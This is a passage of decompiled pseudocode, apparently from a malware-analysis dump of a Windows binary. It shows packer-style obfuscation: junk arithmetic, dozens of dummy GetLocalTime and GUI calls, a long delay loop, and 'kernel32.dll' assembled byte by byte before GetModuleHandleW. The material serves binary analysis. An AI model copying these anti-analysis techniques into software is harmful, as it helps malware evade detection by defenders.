				struct _SYSTEMTIME _v1104;
				struct _SYSTEMTIME _v1120;
				struct _SYSTEMTIME _v1136;
				struct _SYSTEMTIME _v1152;
				struct _SYSTEMTIME _v1168;
				struct _SYSTEMTIME _v1184;
				struct _SYSTEMTIME _v1200;
				struct _SYSTEMTIME _v1216;
				struct _SYSTEMTIME _v1232;
				struct _SYSTEMTIME _v1248;
				struct _SYSTEMTIME _v1264;
				struct _SYSTEMTIME _v1280;
				struct _SYSTEMTIME _v1296;
				struct _SYSTEMTIME _v1312;
				struct _SYSTEMTIME _v1328;
				struct _SYSTEMTIME _v1344;
				struct _SYSTEMTIME _v1360;
				struct _SYSTEMTIME _v1376;
				struct _SYSTEMTIME _v1392;
				struct _SYSTEMTIME _v1408;
				struct _SYSTEMTIME _v1424;
				struct _SYSTEMTIME _v1440;
				struct _SYSTEMTIME _v1456;
				struct _SYSTEMTIME _v1472;
				struct _SYSTEMTIME _v1488;
				struct _SYSTEMTIME _v1504;
				struct _SYSTEMTIME _v1520;
				struct _SYSTEMTIME _v1536;
				struct _SYSTEMTIME _v1552;
				struct _SYSTEMTIME _v1568;
				struct _SYSTEMTIME _v1584;
				struct _SYSTEMTIME _v1600;
				struct _SYSTEMTIME _v1616;
				struct _SYSTEMTIME _v1632;
				struct _SYSTEMTIME _v1648;
				struct _SYSTEMTIME _v1664;
				struct _SYSTEMTIME _v1680;
				struct _SYSTEMTIME _v1696;
				struct _SYSTEMTIME _v1712;
				struct _SYSTEMTIME _v1728;
				struct _SYSTEMTIME _v1744;
				struct _SYSTEMTIME _v1760;
				struct _SYSTEMTIME _v1776;
				struct _SYSTEMTIME _v1792;
				struct _SYSTEMTIME _v1808;
				struct _SYSTEMTIME _v1824;
				struct _SYSTEMTIME _v1840;
				struct _SYSTEMTIME _v1856;
				struct _SYSTEMTIME _v1872;
				struct _SYSTEMTIME _v1888;
				struct _SYSTEMTIME _v1904;
				struct _SYSTEMTIME _v1920;
				struct _SYSTEMTIME _v1936;
				struct _SYSTEMTIME _v1952;
				struct _SYSTEMTIME _v1968;
				struct _SYSTEMTIME _v1984;
				struct _SYSTEMTIME _v2000;
				struct _SYSTEMTIME _v2016;
				struct _SYSTEMTIME _v2032;
				struct _SYSTEMTIME _v2048;
				struct _SYSTEMTIME _v2064;
				struct _SYSTEMTIME _v2080;
				struct _SYSTEMTIME _v2096;
				struct _SYSTEMTIME _v2112;
				struct _SYSTEMTIME _v2128;
				struct _SYSTEMTIME _v2144;
				struct _SYSTEMTIME _v2160;
				struct _SYSTEMTIME _v2176;
				struct _SYSTEMTIME _v2192;
				struct _SYSTEMTIME _v2208;
				struct _SYSTEMTIME _v2224;
				struct _SYSTEMTIME _v2240;
				char _v2264;
				void* _v2268;
				intOrPtr _v2284;
				struct tagPOINT _v2300;
				char _v2304;
				intOrPtr _v2308;
				intOrPtr _v2312;
				intOrPtr _v2316;
				intOrPtr _v2320;
				intOrPtr _v2324;
				intOrPtr _v2328;
				intOrPtr _v2332;
				intOrPtr _v2336;
				intOrPtr _v2340;
				intOrPtr _v2344;
				intOrPtr _v2348;
				intOrPtr _v2352;
				intOrPtr _v2356;
				intOrPtr _v2360;
				intOrPtr _v2364;
				intOrPtr _v2368;
				intOrPtr _v2372;
				intOrPtr _v2376;
				intOrPtr _v2380;
				intOrPtr _v2384;
				intOrPtr _v2388;
				intOrPtr _v2392;
				intOrPtr _v2396;
				intOrPtr _v2400;
				intOrPtr _v2404;
				intOrPtr _v2408;
				intOrPtr _v2412;
				intOrPtr _v2416;
				intOrPtr _v2420;
				intOrPtr _v2424;
				intOrPtr _v2428;
				intOrPtr _v2432;
				intOrPtr _v2436;
				intOrPtr _v2440;
				intOrPtr _v2444;
				intOrPtr _v2448;
				intOrPtr _v2452;
				intOrPtr _v2456;
				intOrPtr _v2460;
				intOrPtr _v2464;
				intOrPtr _v2468;
				intOrPtr _v2472;
				intOrPtr _v2476;
				intOrPtr _v2480;
				intOrPtr _v2484;
				intOrPtr _v2488;
				intOrPtr _v2492;
				intOrPtr _v2496;
				intOrPtr _v2500;
				intOrPtr _v2504;
				intOrPtr _v2508;
				intOrPtr _v2512;
				intOrPtr _v2516;
				intOrPtr _v2520;
				intOrPtr _v2524;
				intOrPtr _v2528;
				intOrPtr _v2532;
				intOrPtr _v2536;
				intOrPtr _v2540;
				intOrPtr _v2544;
				intOrPtr _v2548;
				intOrPtr _v2552;
				intOrPtr _v2556;
				intOrPtr _v2560;
				intOrPtr _v2564;
				intOrPtr _v2568;
				intOrPtr _v2572;
				intOrPtr _v2576;
				intOrPtr _v2580;
				intOrPtr _v2584;
				intOrPtr _v2588;
				intOrPtr _v2592;
				intOrPtr _v2596;
				intOrPtr _v2600;
				intOrPtr _v2604;
				intOrPtr _v2608;
				intOrPtr _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				intOrPtr _v2624;
				intOrPtr _v2628;
				intOrPtr _v2632;
				intOrPtr _v2636;
				intOrPtr _v2640;
				intOrPtr _v2644;
				intOrPtr _v2648;
				intOrPtr _v2652;
				intOrPtr _v2656;
				intOrPtr _v2660;
				intOrPtr _v2664;
				intOrPtr _v2668;
				intOrPtr _v2672;
				intOrPtr _v2676;
				intOrPtr _v2680;
				intOrPtr _v2684;
				intOrPtr _v2688;
				intOrPtr _v2692;
				intOrPtr _v2696;
				intOrPtr _v2700;
				intOrPtr _v2704;
				intOrPtr _v2708;
				intOrPtr _v2712;
				intOrPtr _v2716;
				long _v2720;
				intOrPtr _v2724;
				intOrPtr _v2728;
				intOrPtr _v2732;
				intOrPtr _v2736;
				intOrPtr _v2740;
				intOrPtr _v2744;
				intOrPtr _v2748;
				intOrPtr _v2752;
				intOrPtr _v2756;
				intOrPtr _v2760;
				intOrPtr _v2764;
				intOrPtr _v2768;
				intOrPtr _v2772;
				intOrPtr _v2776;
				intOrPtr _v2780;
				intOrPtr _v2784;
				intOrPtr _v2788;
				intOrPtr _v2792;
				intOrPtr _v2796;
				intOrPtr _v2800;
				intOrPtr _v2804;
				intOrPtr _v2808;
				intOrPtr _v2812;
				intOrPtr _v2816;
				intOrPtr _v2820;
				intOrPtr _v2824;
				intOrPtr _v2828;
				intOrPtr _v2832;
				intOrPtr _v2836;
				intOrPtr _v2840;
				intOrPtr _v2844;
				intOrPtr _v2848;
				intOrPtr _v2852;
				intOrPtr _v2856;
				intOrPtr _v2860;
				intOrPtr _v2864;
				intOrPtr _v2868;
				intOrPtr _v2872;
				intOrPtr _v2876;
				intOrPtr _v2880;
				intOrPtr _v2884;
				intOrPtr _v2888;
				intOrPtr _v2892;
				intOrPtr _v2896;
				intOrPtr _v2900;
				intOrPtr _v2904;
				intOrPtr _v2908;
				intOrPtr _v2912;
				intOrPtr _v2916;
				intOrPtr _v2920;
				intOrPtr _v2924;
				intOrPtr _v2928;
				intOrPtr _v2932;
				intOrPtr _v2936;
				intOrPtr _v2940;
				intOrPtr _v2944;
				intOrPtr _v2948;
				intOrPtr _v2952;
				intOrPtr _v2956;
				intOrPtr _v2960;
				intOrPtr _v2964;
				intOrPtr _v2968;
				intOrPtr _v2972;
				intOrPtr _v2976;
				intOrPtr _v2980;
				intOrPtr _v2984;
				intOrPtr _v2988;
				intOrPtr _v2992;
				intOrPtr _v2996;
				intOrPtr _v3000;
				intOrPtr _v3004;
				intOrPtr _v3008;
				intOrPtr _v3012;
				intOrPtr _v3016;
				intOrPtr _v3020;
				intOrPtr _v3024;
				intOrPtr _v3028;
				intOrPtr _v3032;
				intOrPtr _v3036;
				intOrPtr _v3040;
				intOrPtr _v3044;
				intOrPtr _v3048;
				intOrPtr _v3052;
				void* _v3056;
				signed int _t1583;
				long _t1724;
				intOrPtr _t1738;
				void* _t1750;
				char _t1753;
				char _t1754;
				char _t1755;
				char _t1756;
				char _t1757;
				char _t1758;
				short _t1759;
				intOrPtr _t1762;
				void* _t1772;
				void* _t1773;
				intOrPtr _t1774;
				void* _t1775;
				short _t1777;
				intOrPtr* _t1783;
				void* _t1787;
				long _t1788;
				intOrPtr _t1790;
				short _t1793;
				long _t1794;
				int _t1795;
				signed int _t1800;
				struct HINSTANCE__* _t1806;

				_t1800 =  &_v3056;
				_t1583 =  *0x41de90; // 0xd3d41c0a
				_v4 = _t1583 ^ _t1800;
				_v2976 = 0x407a19c9;
				_v3028 = 0x3e641c95;
				_v2940 = 0x540c7e3d;
				_v3052 = 0x55693c0d;
				_v3032 = 0x3ef121c5;
				_v3012 = 0x1413a929;
				_v2956 = 0x2258a92c;
				_v2876 = 0x3c3273aa;
				_v2972 = 0x31efa985;
				_v2640 = 0x77b3ade6;
				_v2600 = 0x402c7c19;
				_v3016 = 0x2955be71;
				_v2432 = 0x6bfb3977;
				_v2996 = 0x2425e5cb;
				_v3004 = 0x576e0d20;
				_v2988 = 0x66a36f57;
				_v3020 = 0x1d63fe1e;
				_v2928 = 0x765c310c;
				_v2772 = 0x6224bff5;
				_v2964 = 0x55b2dcf9;
				_v2832 = 0x6a60582c;
				_v2856 = 0x514684fb;
				_v2908 = 0x1ecb1f41;
				_v2968 = 0x203e65e;
				_v2732 = 0x246a3187;
				_v2788 = 0x7be4f9f8;
				_v2724 = 0x4baa857c;
				_v2980 = 0x674cc54d;
				_v2500 = 0x589d132f;
				_v2780 = 0x7aaa2f5b;
				_v2844 = 0x336f46b8;
				_v2736 = 0x3253bf49;
				_v2916 = 0x7d2d4327;
				_v2756 = 0x5fb58f5c;
				_v2408 = 0x46f5c939;
				_v2648 = 0x3488ef7f;
				_v2572 = 0x4aeb1340;
				_v2632 = 0x5841a6fc;
				_v2748 = 0x2bbf224;
				_v2352 = 0x6f86631b;
				_v2368 = 0x17bf9935;
				_v2416 = 0x746e0819;
				_v2568 = 0x47207a2c;
				_v2616 = 0x6b61435a;
				_v2560 = 0x80fae98;
				_v2764 = 0x787a4c83;
				_v2704 = 0xacb5ffb;
				_v2696 = 0x5505b9ea;
				_v2544 = 0x36a1f5e2;
				_v2464 = 0x37c1968c;
				_v2392 = 0x68a10e0c;
				_v2688 = 0x4db89bc1;
				_v2520 = 0x3d70144e;
				_v2316 = 0x7ab5e002;
				_v2360 = 0xfd414c1;
				_v2816 = 0x288166be;
				_v2536 = 0x252d767;
				_v2312 = 0x7d05aec1;
				_v2552 = 0x121fefe8;
				_v2488 = 0x217247cc;
				_v2528 = 0x70098d5a;
				_v2496 = 0xe67e1a2;
				_v2320 = 0x20a10241;
				_v2424 = 0x2ab0c407;
				_v2512 = 0x77c6b047;
				_v2344 = 0xe951f6c;
				_v2716 = 0x41be3a5e;
				_v2328 = 0x4280fbbf;
				_v2376 = 0x7a790262;
				_v2384 = 0x741f5a35;
				_v2608 = 0x590e0730;
				_v2400 = 0x11e5b5aa;
				_v2480 = 0x5d4747a9;
				_v2504 = 0x351b4239;
				_v2680 = 0x33862abd;
				_v2672 = 0x99a0e14;
				_v2472 = 0x50542d11;
				_v2448 = 0x3a81b5b1;
				_v2456 = 0x5c59d0c7;
				GetLocalTime( &_v272);
				_v2976 = _v2976 + 0x7dee8f0d;
				GetLocalTime( &_v160);
				GetLocalTime( &_v112);
				_v2976 = _v2976 - 0x322d93ef;
				GetLocalTime( &_v1136);
				_v2976 = _v2976 + 0x5a3eeb1c;
				_v2976 = _v2976 + 0x2c7a938e;
				_v3028 = _v3028 - 0x20d7bd4d;
				GetLocalTime( &_v2192);
				_v2940 = _v2940 - 0x7ae744cc;
				_v2976 = _v2976 - 0x2223eb4b;
				_v3052 = _v3052 + 0x2fffe8ec;
				GetLocalTime( &_v592);
				GetLocalTime( &_v2160);
				_v3028 = _v3028 + 0xa4bc60d;
				_v3012 = _v3012 - 0x777343da;
				_v3012 = _v3012 - 0x5f125757;
				GetLocalTime( &_v1104);
				_v3032 = _v3032 - 0x6b63bb25;
				_v3028 = _v3028 + 0x78075d67;
				GetLocalTime( &_v2128);
				_v3032 = _v3032 + 0x15affe90;
				_v3028 = _v3028 + 0x52cadca5;
				_v3032 = _v3032 - 0x581122de;
				GetLocalTime( &_v128);
				_v3052 = _v3052 - 0x261f0ee0;
				GetLocalTime( &_v2096);
				_v3032 = _v3032 + 0x7d871e5f;
				_v2972 = _v2972 + 0x5d25ca79;
				GetLocalTime( &_v1072);
				GetLocalTime( &_v2064);
				_v2940 = _v2940 - 0x1b0b002f;
				GetLocalTime( &_v560);
				_v3052 = _v3052 - 0x56886a51;
				_v3052 = _v3052 + 0x42e547d3;
				GetLocalTime( &_v2032);
				GetLocalTime( &_v1040);
				_v3028 = _v3028 - 0x5fac1710;
				_v3028 = _v3028 - 0x708d49d6;
				GetLocalTime( &_v2000);
				_v3016 = _v3016 - 0x6ad296c4;
				_v2972 = _v2972 - 0x797747af;
				_v3032 = _v3032 + 0x38f8bb06;
				_v3052 = _v3052 - 0x70bae512;
				_v3016 = _v3016 - 0x2cd0fd8f;
				GetLocalTime( &_v304);
				GetLocalTime( &_v1968);
				GetLocalTime( &_v1008);
				GetLocalTime( &_v1936);
				_v3052 = _v3052 - 0x5bfa260e;
				_v2972 = _v2972 - 0x6bf8e784;
				GetLocalTime( &_v528);
				_v3028 = _v3028 + 0x1f1de0ec;
				GetLocalTime( &_v1904);
				_v3032 = _v3032 - 0x1bd984be;
				GetLocalTime( &_v976);
				_v2996 = _v2996 + 0x5f824016;
				GetLocalTime( &_v1872);
				_v3052 = _v3052 - 0x50c9c8ed;
				GetLocalTime( &_v176);
				_v2876 = _v2876 + 0x6697de75;
				_v3016 = _v3016 - 0x47d6021e;
				_v3012 = _v3012 + 0x4b548a2d;
				GetLocalTime( &_v1840);
				_v2996 = _v2996 + 0x773dc620;
				_v3012 = _v3012 - 0x1359c71b;
				_v3004 = _v3004 - 0x7568b216;
				GetLocalTime( &_v944);
				_v2600 = _v2600 + 0x509a6456;
				GetLocalTime( &_v1808);
				GetLocalTime( &_v496);
				_v2940 = _v2940 - 0x6ef61637;
				_v2988 = _v2988 - 0x1724ae1e;
				_v3020 = _v3020 + 0x5eb48aae;
				_v3016 = _v3016 - 0x5cc16929;
				_v3020 = _v3020 - 0x4c4aaed2;
				GetLocalTime( &_v1776);
				_v3020 = _v3020 - 0x1b952d09;
				GetLocalTime( &_v912);
				GetLocalTime( &_v1744);
				_v3052 = _v3052 - 0x932bf8d;
				_v2832 = _v2832 + 0x31efb199;
				_v3004 = _v3004 + 0xe62c21b;
				_v3020 = _v3020 + 0x695606ac;
				GetLocalTime( &_v2240);
				GetLocalTime( &_v1712);
				_v2964 = _v2964 - 0x699f4fed;
				_v2956 = _v2956 + 0x6ac41917;
				GetLocalTime( &_v880);
				_v3004 = _v3004 - 0x359eaa35;
				_v3016 = _v3016 - 0xf829e18;
				_v3052 = _v3052 + 0x6371e2de;
				_v2928 = _v2928 + 0x2bb5cc12;
				_v2732 = _v2732 + 0x47cb7610;
				_v3016 = _v3016 - 0xfb4acc;
				_v3004 = _v3004 + 0x6a7b5355;
				_v3020 = _v3020 + 0x78cec520;
				_v2832 = _v2832 + 0xfbab990;
				GetLocalTime( &_v1680);
				_v3020 = _v3020 - 0xc075081;
				_v2988 = _v2988 - 0x3fe80ea3;
				_v2964 = _v2964 + 0x6a8d4112;
				_v2788 = _v2788 - 0x770c8759;
				_v3020 = _v3020 + 0x2d466e35;
				_v2956 = _v2956 + 0x48498dfc;
				_v2972 = _v2972 + 0x722eaa43;
				_v2980 = _v2980 - 0x2b5a592;
				_v2856 = _v2856 - 0x293a0fd7;
				_v2976 = _v2976 + 0x24efdee3;
				GetLocalTime( &_v464);
				GetLocalTime( &_v1648);
				_v2996 = _v2996 + 0x6177a8d8;
				GetLocalTime( &_v848);
				_v2640 = _v2640 + 0xb16d169;
				GetLocalTime( &_v1616);
				GetLocalTime( &_v96);
				GetLocalTime( &_v1584);
				GetLocalTime( &_v816);
				GetLocalTime( &_v1552);
				GetLocalTime( &_v432);
				_v3020 = _v3020 + 0x553aa04d;
				_v3016 = _v3016 - 0x739176cb;
				GetLocalTime( &_v1520);
				_v3052 = _v3052 - 0x43388296;
				GetLocalTime( &_v784);
				_v2940 = _v2940 - 0x6e6c6f68;
				_v2732 = _v2732 + 0xf6af904;
				GetLocalTime( &_v1488);
				_v3052 = _v3052 - 0x71cf84b9;
				_v2908 = _v2908 - 0x795f8ac8;
				_v3032 = _v3032 - 0x6dd4d263;
				_v2780 = _v2780 - 0x347104b0;
				_v2500 = _v2500 + 0x75d134d9;
				_v2876 = _v2876 + 0x686037c5;
				_v2980 = _v2980 - 0x79ce9319;
				_v3052 = _v3052 - 0x6b61e1fa;
				_v3012 = _v3012 - 0x7766d758;
				_v2956 = _v2956 - 0x374aefcd;
				GetLocalTime( &_v240);
				GetLocalTime( &_v1456);
				_v2736 = _v2736 + 0x13ad9417;
				_v2928 = _v2928 + 0x391aae33;
				_v2756 = _v2756 + 0x22008cb4;
				GetLocalTime( &_v752);
				GetLocalTime( &_v1424);
				GetLocalTime( &_v400);
				_v2856 = _v2856 - 0x29fe05f0;
				_v2964 = _v2964 + 0x69350bc9;
				_v2928 = _v2928 - 0x62beacf5;
				GetLocalTime( &_v1392);
				GetLocalTime( &_v720);
				_v2916 = _v2916 - 0x7cded7f5;
				_v2916 = _v2916 - 0x463b60f1;
				_v2780 = _v2780 - 0x62acc74;
				GetLocalTime( &_v1360);
				_v2916 = _v2916 + 0x2d3b6078;
				GetLocalTime( &_v144);
				GetLocalTime( &_v1328);
				_v2908 = _v2908 - 0x455e9ebe;
				_v2916 = _v2916 - 0x485cf3fc;
				_v2964 = _v2964 - 0x40450700;
				_v2980 = _v2980 - 0x42039c90;
				GetLocalTime( &_v688);
				_v2968 = _v2968 - 0xd9b8124;
				_v3032 = _v3032 - 0x75385024;
				GetLocalTime( &_v1296);
				_v2876 = _v2876 - 0x12b5a6de;
				_v3052 = _v3052 - 0x342ac8be;
				_v2980 = _v2980 + 0x33d0ec16;
				_v2996 = _v2996 + 0x523cc30b;
				_v2748 = _v2748 - 0x582479a1;
				GetLocalTime( &_v368);
				GetLocalTime( &_v1264);
				_v2648 = _v2648 - 0x3efd3e2;
				_v2988 = _v2988 - 0x48209241;
				GetLocalTime( &_v656);
				_v3052 = _v3052 - 0x3374d303;
				_v2844 = _v2844 - 0x471278b0;
				_v2968 = _v2968 + 0x2ed7d0f6;
				_v3028 = _v3028 + 0x21c06e32;
				_v2756 = _v2756 + 0x1ffc26c4;
				_v2736 = _v2736 + 0x6ace9b4f;
				_v2844 = _v2844 + 0x637c3100;
				_v3004 = _v3004 + 0x4ec91ceb;
				GetLocalTime( &_v1232);
				_v2368 = _v2368 - 0x30cf3389;
				GetLocalTime( &_v208);
				_v2632 = _v2632 + 0x3246e444;
				_v2736 = _v2736 + 0x276c27e7;
				_v2772 = _v2772 - 0x7d9e35e9;
				GetLocalTime( &_v1200);
				GetLocalTime( &_v624);
				GetLocalTime( &_v1168);
				GetLocalTime( &_v336);
				_v2956 = _v2956 - 0x71a8665;
				_v2928 = _v2928 - 0x2ffc2b5c;
				_v2756 = _v2756 + 0x5b8550a0;
				GetLocalTime( &_v2224);
				_v2980 = _v2980 + 0x5616f7b2;
				GetLocalTime( &_v2208);
				GetLocalTime( &_v2176);
				_v2844 = _v2844 + 0x6571b241;
				GetLocalTime( &_v2144);
				_v2928 = _v2928 - 0x7f291e9a;
				_v3016 = _v3016 - 0x16f7ed97;
				_v3004 = _v3004 - 0xb8e5b51;
				_v2964 = _v2964 - 0x7f652120;
				_v2788 = _v2788 - 0x73356457;
				_v2788 = _v2788 - 0x7e8b1d17;
				GetLocalTime( &_v2112);
				_v2772 = _v2772 - 0x34796e49;
				GetLocalTime( &_v2080);
				_v2988 = _v2988 - 0x296799d;
				_v3004 = _v3004 + 0x72f84e85;
				_v2572 = _v2572 - 0x6c6f6419;
				_v2724 = _v2724 + 0x588f4ee9;
				GetLocalTime( &_v2048);
				_v2844 = _v2844 + 0x1d99b096;
				_v2856 = _v2856 - 0x49c27424;
				_v2724 = _v2724 - 0x14bb9955;
				_v2832 = _v2832 + 0x48f8b4ec;
				GetLocalTime( &_v2016);
				GetLocalTime( &_v1984);
				GetLocalTime( &_v1952);
				GetLocalTime( &_v1920);
				GetLocalTime( &_v1888);
				GetLocalTime( &_v1856);
				_v2688 = _v2688 + 0x1f350;
				GetLocalTime( &_v1824);
				GetLocalTime( &_v1792);
				_v2976 = _v2976 + 0x5994ff0c;
				_v2972 = _v2972 - 0x33654a9d;
				_v2908 = _v2908 - 0x537d21d6;
				_v2876 = _v2876 - 0x5a62cc21;
				_v3032 = _v3032 + 0xc2ae7c9;
				_v2704 = _v2704 + 0x73e6b792;
				_v2972 = _v2972 - 0xf548f46;
				_v2940 = _v2940 - 0x495ce651;
				_v2688 = _v2688 + 0x1679bfa2;
				GetLocalTime( &_v1760);
				_v2648 = _v2648 - 0x7a3be4bf;
				_v2956 = _v2956 + 0xb86c9f7;
				_v2980 = _v2980 + 0x5c23cd7b;
				_v2988 = _v2988 + 0x4a566710;
				GetLocalTime( &_v1728);
				_v2696 = _v2696 + 0x6cffe6b;
				GetLocalTime( &_v1696);
				GetLocalTime( &_v1664);
				_v3028 = _v3028 + 0x78be16ce;
				_v2724 = _v2724 + 0x6193f99a;
				_v2748 = _v2748 + 0x52047785;
				GetLocalTime( &_v1632);
				_v2704 = _v2704 - 0x25b9e479;
				_v2616 = _v2616 + 0x2f519b2;
				_v2956 = _v2956 + 0x2baa67c;
				GetLocalTime( &_v1600);
				_v2996 = _v2996 + 0x162bff61;
				_v2988 = _v2988 - 0x1aedb863;
				GetLocalTime( &_v1568);
				GetLocalTime( &_v1536);
				_v2616 = _v2616 - 0x73af5707;
				_v3032 = _v3032 - 0x2a5d69f6;
				_v2780 = _v2780 + 0x3c857dd0;
				GetLocalTime( &_v1504);
				GetLocalTime( &_v1472);
				_v2568 = _v2568 - 0x5462589f;
				_v2696 = _v2696 - 0x53de10f0;
				_v2432 = _v2432 - 0x16ddb8c0;
				GetLocalTime( &_v1440);
				_v2968 = _v2968 + 0x30721b5c;
				_v2908 = _v2908 - 0x5eb9c754;
				_v3012 = _v3012 - 0x521f41a9;
				_v2968 = _v2968 - 0x3f3167e;
				GetLocalTime( &_v1408);
				_v2968 = _v2968 + 0xadf0c85;
				_v2876 = _v2876 - 0x107b0d60;
				GetLocalTime( &_v1376);
				_v2560 = _v2560 + 0x24dbf2b9;
				_v2996 = _v2996 - 0x5e39732d;
				_v2832 = _v2832 - 0x36444988;
				_v2312 = _v2312 - 0x54a04ce6;
				_v2972 = _v2972 + 0x5f9bff60;
				_v2748 = _v2748 - 0x42499e14;
				GetLocalTime( &_v1344);
				_v2552 = _v2552 - 0xf36e4eb;
				_v2424 = _v2424 + 0x72ab3e1f;
				GetLocalTime( &_v1312);
				GetLocalTime( &_v1280);
				GetLocalTime( &_v1248);
				_v2544 = _v2544 - 0x601883db;
				_v3012 = _v3012 + 0x7601bc40;
				_v3020 = _v3020 + 0x3644ceb9;
				GetLocalTime( &_v1216);
				_v2360 = _v2360 + 0x32145f02;
				GetLocalTime( &_v1184);
				_v2536 = _v2536 + 0x47235b7c;
				_v2964 = _v2964 - 0x485752aa;
				GetLocalTime( &_v1152);
				GetLocalTime( &_v1120);
				_v2856 = _v2856 - 0x36c80987;
				_v2764 = _v2764 + 0x7109bb70;
				_v2816 = _v2816 + 0x402a1a8c;
				_v2416 = _v2416 + 0x6c8c6a6e;
				_v2640 = _v2640 - 0x442010bf;
				_v2908 = _v2908 - 0x654e328f;
				_v2968 = _v2968 - 0x60e667c9;
				GetLocalTime( &_v1088);
				_v2956 = _v2956 + 0x4e532066;
				_v2996 = _v2996 - 0x2320df26;
				_v3012 = _v3012 - 0x9ad0978;
				GetLocalTime( &_v1056);
				GetLocalTime( &_v1024);
				_v2816 = _v2816 - 0x65f0028e;
				GetLocalTime( &_v992);
				GetLocalTime( &_v960);
				_v2928 = _v2928 + 0x21a10b37;
				_v3012 = _v3012 - 0x5eddc61;
				_v2772 = _v2772 - 0x5afbabcf;
				GetLocalTime( &_v928);
				GetLocalTime( &_v896);
				_v2988 = _v2988 + 0x38fcdc1d;
				_v2528 = _v2528 - 0x50363bc0;
				_v2716 = _v2716 + 0x399af85d;
				_v2328 = _v2328 + 0x78dc2861;
				GetLocalTime( &_v864);
				_v2520 = _v2520 - 0x79e349b0;
				_v2608 = _v2608 - 0x616ebf6c;
				_v2764 = _v2764 + 0x5b6f397;
				_v2716 = _v2716 - 0x38eb3a55;
				_v2996 = _v2996 + 0x148dd8a6;
				GetLocalTime( &_v832);
				_v2600 = _v2600 - 0x2e3efd7a;
				_v2964 = _v2964 + 0x7fdaa466;
				_v2408 = _v2408 - 0x226b834c;
				_v2512 = _v2512 + 0x5fc1094b;
				_v2352 = _v2352 + 0x1f2f6c2f;
				GetLocalTime( &_v800);
				GetLocalTime( &_v768);
				_v3028 = _v3028 - 0x122df51a;
				GetLocalTime( &_v736);
				GetLocalTime( &_v704);
				_v2504 = _v2504 - 0x30f3c077;
				GetLocalTime( &_v672);
				_v2680 = _v2680 + 0x5b2d4c0;
				GetLocalTime( &_v640);
				_v2400 = _v2400 + 0x4a4ff79a;
				_v2732 = _v2732 - 0x6610f915;
				_v2816 = _v2816 - 0x79128545;
				_v2672 = _v2672 + 0x5b2e42f1;
				_v3032 = _v3032 + 0x25538e0c;
				_v3016 = _v3016 + 0x509d4567;
				_v2980 = _v2980 + 0x4283f234;
				_v3004 = _v3004 - 0x631872d3;
				_v2496 = _v2496 + 0xe1f351a;
				GetLocalTime( &_v608);
				_v2680 = _v2680 + 0x664bb7e5;
				_v2916 = _v2916 + 0x21cd728;
				_v2316 = _v2316 + 0x44a93d16;
				_v2816 = _v2816 + 0x144184d7;
				_v2488 = _v2488 - 0x7413531d;
				GetLocalTime( &_v576);
				GetLocalTime( &_v544);
				_v2392 = _v2392 + 0x52a6deed;
				_v2632 = _v2632 + 0x31e7af9;
				GetLocalTime( &_v512);
				GetLocalTime( &_v480);
				_v2480 = _v2480 + 0x7fe78701;
				_v2764 = _v2764 - 0x1934a704;
				_v2344 = _v2344 + 0x7a4c2499;
				_v2968 = _v2968 + 0xa639695;
				_v2472 = _v2472 - 0x6c070800;
				_v2384 = _v2384 - 0x6f0db276;
				_v2672 = _v2672 + 0x6dd3c5e1;
				GetLocalTime( &_v448);
				GetLocalTime( &_v416);
				_v2464 = _v2464 - 0x44f54915;
				_v2320 = _v2320 + 0x46805a78;
				GetLocalTime( &_v384);
				_v2608 = _v2608 + 0x1a6d7057;
				_v2940 = _v2940 - 0x512bda36;
				_v2456 = _v2456 + 0x39de9599;
				GetLocalTime( &_v352);
				GetLocalTime( &_v320);
				GetLocalTime( &_v288);
				_v2376 = _v2376 - 0x25b9080a;
				GetLocalTime( &_v256);
				GetLocalTime( &_v224);
				_v2988 = _v2988 - 0x16cf2d9b;
				GetLocalTime( &_v192);
				_v2448 = _v2448 + 0x144286ec;
				E00401127(_t1772,  &_v80, "yulawuzejuvine hisivihohice fogavohazo");
				SendMessageW(0, 0, 0, 0);
				PeekMessageW( &(_v2300.y), 0, 0, 0, 0);
				if(_v2284 != 0x159) {
					L5:
					_t1724 =  *0x41de80; // 0x4156
					_push(_t1772);
					_t1773 = BeginPaint;
					_v2720 = _t1724;
					_t1787 = 0x7a1ba;
					_v2720 = _v2720 + 0x932;
					_t1793 = 0x6c;
					do {
						GetStdHandle(0);
						BeginPaint(0, 0);
						ReportEventW(0, 0, 0, 0, 0, 0, 0, 0, 0);
						_t1806 =  *0x41f200; // 0x761e0000
						if(_t1806 == 0) {
							_t1753 = 0x6b;
							_t1777 = 0x65;
							L"kernel32.dll" = _t1753;
							_t1754 = 0x72;
							L"rnel32.dll" = _t1754;
							_t1755 = 0x6e;
							L"nel32.dll" = _t1755;
							_t1756 = 0x33;
							L"32.dll" = _t1756;
							_t1757 = 0x32;
							L"2.dll" = _t1757;
							_t1758 = 0x2e;
							L".dll" = _t1758;
							_t1759 = 0x64;
							 *0x41ccaa = _t1759;
							M0041CC9A = _t1777;
							M0041CCA0 = _t1777;
							M0041CCA2 = _t1793;
							 *0x41ccac = _t1793;
							 *0x41ccae = _t1793;
							 *0x41ccb0 = 0;
							 *0x41f200 = GetModuleHandleW(L"kernel32.dll");
						}
						_t1787 = _t1787 - 1;
					} while (_t1787 != 0);
					_v3056 = 0x239e7482;
					_v2984 = 0x182f6882;
					_v3044 = 0xf9f69c1;
					_v3048 = 0x6247864b;
					_v2924 = 0x7d48eb07;
					_v3036 = 0x7b9990e;
					_v3000 = 0x2481fa48;
					_v2952 = 0x3b772f0a;
					_v2888 = 0x7b40381;
					_v3008 = 0x790659a3;
					_v3024 = 0x2b75f60;
					_v2948 = 0x67898fc3;
					_v2768 = 0x6106060e;
					_v3040 = 0x496e8388;
					_v2712 = 0x52c9cbc2;
					_v2884 = 0x3e99b495;
					_v2904 = 0x2a8bb12d;
					_v2592 = 0x5e5b7890;
					_v2492 = 0x34132be3;
					_v2892 = 0x377552f6;
					_v2900 = 0x710df55d;
					_v2740 = 0x29513940;
					_v2836 = 0x271709c1;
					_v2992 = 0x308585b;
					_v2848 = 0x6ebc8144;
					_v2824 = 0x2e773f7a;
					_v2840 = 0x7f0d02d8;
					_v2896 = 0x7d539242;
					_v2532 = 0x18fc382d;
					_v2936 = 0x793af5ea;
					_v2808 = 0x66a08314;
					_v2932 = 0x2e514249;
					_v2760 = 0x25a63695;
					_v2864 = 0x5e740d34;
					_v2912 = 0x458292b1;
					_v2860 = 0x7c836667;
					_v2944 = 0x598b7d46;
					_v2872 = 0x4f3d2eb4;
					_v2828 = 0x36e1622d;
					_v2920 = 0x7c178c9;
					_v2960 = 0x17316192;
					_v2692 = 0x7caf699b;
					_v2880 = 0x25304639;
